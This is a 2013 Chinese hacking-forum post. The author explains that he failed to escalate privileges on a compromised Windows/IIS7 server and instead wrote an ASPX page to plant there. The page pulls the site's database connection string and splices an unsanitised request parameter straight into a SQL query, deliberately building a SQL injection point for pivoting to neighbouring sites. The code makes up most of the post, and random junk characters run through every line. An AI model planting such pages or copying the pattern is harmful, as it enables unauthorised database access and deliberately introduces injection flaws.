找回密码
 立即注册
查看: 2512|回复: 0
打印 上一主题 下一主题

利用aspx构造注射来跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-20 21:32:01 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
昨天跟4z1看一个站点,提权很难提,看了整整5个小时,无果。 2008+iis7,无sa,无root,无各种服务。。。3 i# ]' `( c: `1 _! E" F
其实中用到了aspx构造注射来跨站,网上找了一堆代码,没一个能用的。  g5 j' f3 l/ m  B7 G6 j% O+ J
代码量不多,自己写个拉倒了。烦死了。
9 {5 c9 p5 ?1 P' L5 g, s8 f2 \  x' `- C3 ^0 h+ u' b/ u" F0 K

7 x. {) c8 D& ?/ Z5 R; j; ?<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
/ W+ C- D6 d% o: U$ w2 a' t1 D- E<html xmlns="http://www.w3.org/1999/xhtml">
! `% K% v  }7 V<head runat="server">2 a6 H) R# F+ d' h$ X" U
    <title>暗影aspx构造注射专用页面</title>
3 h. s) t; I; }1 L) Y% q' ~</head>
' R  F8 i( A' M8 J  z3 c9 D* l<body>: N9 k  f8 G" W: [, R
    <form id="form1" runat="server">
: R6 @; S/ r/ c9 d# d    <div>  S2 d" C# E) R* s, U' ~; ~
     <script language="c#" runat="server">
- `1 l" Z% {+ p( z" ~7 Y  W8 n            
& @& \' B. |5 Z3 c1 v! i1 K         void page_init(object sender, EventArgs e)
0 X  J1 Q4 v% s         {( U" C$ M; o1 U  @8 g  u7 B  n/ `
             ! ]3 l; F8 H+ [# ~7 ~
             System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();* M* O/ Z+ n) d: {
            
$ r5 @  b9 A6 o8 e% P" G; y             conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();
9 C7 ]! ^  X# o  E  h             conn.Open();
5 ~  e+ s: b2 _8 v9 q               ]( m* t6 z0 K5 _
             string i =  this.Page.Request.Params["xxser"];  //这里是参数?xxser=1
' Y2 }' L0 ]4 N6 i3 G! d1 j             : t! ?$ S8 {$ m: Y( F+ f+ V
             System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);
8 a  r4 N. o, i; ?) b2 a             int x = command.ExecuteNonQuery();
' V0 r. {9 }; f# ]$ ?7 {7 P             Response.Write(i+"\n");
" D: R* D! d9 {( y5 `( `  N( t+ z             Response.Write(x);
2 M; }" A! T# P% E8 |% p. \# ]! r             conn.Close();
! a( l- J+ q9 _+ I5 `         }9 {2 L6 r1 R$ e% H( U4 Z
       ]% H& d% F( v$ `
  </script>0 ^/ i3 K9 y& b1 n9 h. w& g2 S
    </div>
% \$ Y$ P9 F  F8 V  a$ D! t4 M    </form>7 \! L2 c  H4 e. p# {
</body>
  s1 ]  w& h1 G! m  ]2 t</html>
$ K4 j: r9 M! A3 ]6 u% ]
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表